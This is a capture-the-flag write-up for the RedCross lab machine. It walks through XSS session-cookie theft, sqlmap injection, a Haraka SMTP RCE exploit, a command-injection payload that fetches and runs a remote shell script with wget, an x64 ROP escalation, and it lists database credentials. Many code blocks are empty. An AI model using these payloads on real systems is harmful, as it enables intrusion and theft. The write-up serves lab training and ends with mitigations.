Overview
Machine author: ompamo. Debian. A maze box with multiple paths at every stage. Key concepts: cookie reuse between subdomains, NSS + PostgreSQL as the backend for system accounts, command injection in a setuid wrapper, and a x64 ROP buffer overflow.
| |
Reconnaissance
| |
- Script scans (
-sC) hang, so there is a WAF. Run only-sV. - HTTP
GET /redirects (301) tohttps://intra.redcross.htb. Add it to/etc/hosts.
Domain and directory enumeration:
- URL structure
?page=loginsuggests PHP (confirm withindex.php?page=login). gobuster(with-k, extensionphp):/init.php,/pages,/documentation,/images,/javascript.- A deeper gobuster on
/documentationwith-x pdf:account-signup.pdf(a signup guide plus a link to the contact form).
Subdomains:
| |
Finds intra (known) and admin (new, an IT Admin panel). When a box forces a hostname
instead of an IP, fuzz subdomains.
Initial Access
Access to admin.redcross.htb
Three independent routes. admin and intra share PHP sessions: a valid PHPSESSID from
one works on the other.
Path A, XSS (intended). The contact form ?page=contact filters <script> in the
subject and body but not in the phone/email field.
| |
The admin who reviews reports triggers it; the HTTP listener receives
PHPSESSID=...; DOMAIN=admin. Paste the cookie into the browser on admin. and you are
logged in as admin.
Path B, SQLi (unintended, but instructive).
Fill in the form per the PDF to get a
guest:guestaccount onintra.The UserID filter is
?o=1&page=app. Injecting'yields a DB error.The WAF kills a plain sqlmap; use
--delay=1:1sqlmap -r app.request --delay=1 --batch --dumpTypes: boolean-based blind, error-based (FLOOR / GROUP BY), time-based. Dump: the
userstable (bcrypt hashes) plusmessages(hints about the admin panel and the intra/admin link).
Cracking:
| |
On CPU (Ryzen 5 9600X), -m 3200 runs at ~74 H/s, so full rockyou is days.
cookiemonster is high enough in the list to fall in minutes.
Path C, cookie from login. Log into intra as guest/guest or charles/cookiemonster,
copy the PHPSESSID (Cookie Editor), paste it on admin.; you are logged in. charles and
guest cannot log into admin directly, but a valid session from intra carries over.
Admin panel to a shell as penelope
The panel has two functions: Network Access (opens the firewall) and User Management (adds users to a jail).
Enter your IP under “Network Access”. A repeat nmap reveals new ports:
| |
| |
Path 1, Haraka SMTP RCE (intended). Haraka <= 2.8.9 with the attachment plugin gives RCE
(exploit-db 41162.py). The exploit is Python 2 (print msg.as_string()), so run
python2.7 41162.py .... [Errno 113] No route to host / [Errno 111] Connection refused means the wrong -m (host) or the firewall is not open yet.
| |
Escape inner " and $. Mail goes to penelope@, and Haraka runs as penelope, so the
shell is uid=1000(penelope). Test first with -c "ping -c 1 <YOUR_IP>" (~1 min delay).
Metasploit variant, exploit/linux/smtp/haraka: rport defaults to 25, so
set rport 1025. SRVPORT (stager server) is not LPORT (handler). “Module exited
abnormally” can be misleading; the session may still open (sessions -i).
Path 2, command injection in iptctl to www-data. /home/public/src/iptctl.c (comment:
“easily executable from admin.redcross.htb”). The firewall PHP page calls this wrapper,
passing the IP from the form.
The allow action does not pass the injection.
The deny/restrict action gives RCE. Payload in the
ipparameter (POST to/pages/actions.php):1ip=10.10.14.x; wget 10.10.14.x/shell.sh -O /tmp/shell.sh; chmod +x /tmp/shell.sh; /tmp/shell.sh &id=13&action=deny
Result: uid=33(www-data). www-data cannot read user.txt (penelope:penelope), but
can read the admin panel PHP and find the PostgreSQL credentials:
| |
| user | password | db | rights |
|---|---|---|---|
www | aXwrtUO9_aa& | redcross | firewall |
unixnss | fios@ew023xnw | unix | read users (NSS) |
unixusrmgr | dheu%7wjx8B& | unix | INSERT users, but no uid |
unixnssroot | 30jdsklj4d_3 | unix | INSERT with uid=0 |
Add a user in the penelope group for user.txt:
| |
| |
| |
Privilege Escalation
NSS + PostgreSQL
The jail accounts are backed by Name Service Switch with the nss-pgsql plugin. The
system resolves passwd/group/shadow from PostgreSQL, not just files. So an INSERT
into passwd_table is a real system account.
Two config files:
| |
nss-pgsql-root.conf is only readable once you have the root group, a deliberate gate.
uid vs gid, the core of the box:
unixusrmgrsets only gid (auidattempt ispermission denied).gid=0gives the root group, butroot.txtis0600 root:root, so the group cannot read it. You needuid=0.uid=0can only be set byunixnssroot.
Path 1, sudo group (gid=27), unintended:
| |
| |
| |
Path 2, unixnssroot -> uid=0, intended:
| |
| |
| |
| |
Path 3, BOF/ROP in iptctl (setuid):
| |
Vulnerability in interactive():
| |
fgetsreads null bytes too, convenient for a x64 payload.- Must pass
isValidAction(allow/restrict/showin the first 9 bytes).
Protections (checksec):
| |
Offset: pattern_create -> crash -> pattern_offset = 29 (after the allow prefix).
x64 strategy: arguments in registers. Call execvp("sh", NULL):
shin RDI (the string exists in the binary, end of “fflush” at0x40046e)NULLin RSI- jump to
execvp@plt(static, ASLR does not move it)
Gadgets (rop in peda):
| |
Payload:
| |
PLT addresses: execvp=0x400760, setuid=0x400780, sh=0x40046e.
Interaction without pwntools on the target: use socat on the machine and pwntools
locally:
| |
Result: uid=0(root) egid=0(root) (euid root via the setuid bit).
How the jail works
sshd_config:
| |
Users in the associates group (gid 1001) have / remapped to /var/jail/. So
homedir=/var/jail/home from PHP becomes /var/jail/var/jail/home for the user (“No such
file or directory”); changing it to /home fixes it.
SQLi error-based detail:
| |
Shorter alternative (XML parse error):
| |
Detection and Mitigation
- Cookie reuse between subdomains: scope session cookies per subdomain.
- NSS + DB backend:
passwd_table/shadow_tablein PostgreSQL are real accounts; restrict which DB accounts can write which columns. - uid != gid: the root group is not the root user; check flag permissions (
0600). - setuid wrapper + PHP: comments in source (“executable from admin”) are a hint for command injection through the PHP layer.
- x64 ROP: arguments in registers; with full ASLR target the PLT (static in no-PIE); use
pop rdi/pop rsigadgets;socatwhen pwntools is not on the target. - Tool versions: exploit-db PoCs are often Python 2 (
python2.7); in Metasploit checkrport/SRVPORT/LPORT.
Lessons Learned
- Test session transfer between related applications and subdomains.
grep -r pg_connecton the source reveals the permission layers.- A blacklist on an allow action but not a deny action is a common oversight.
Command Reference
| |
| |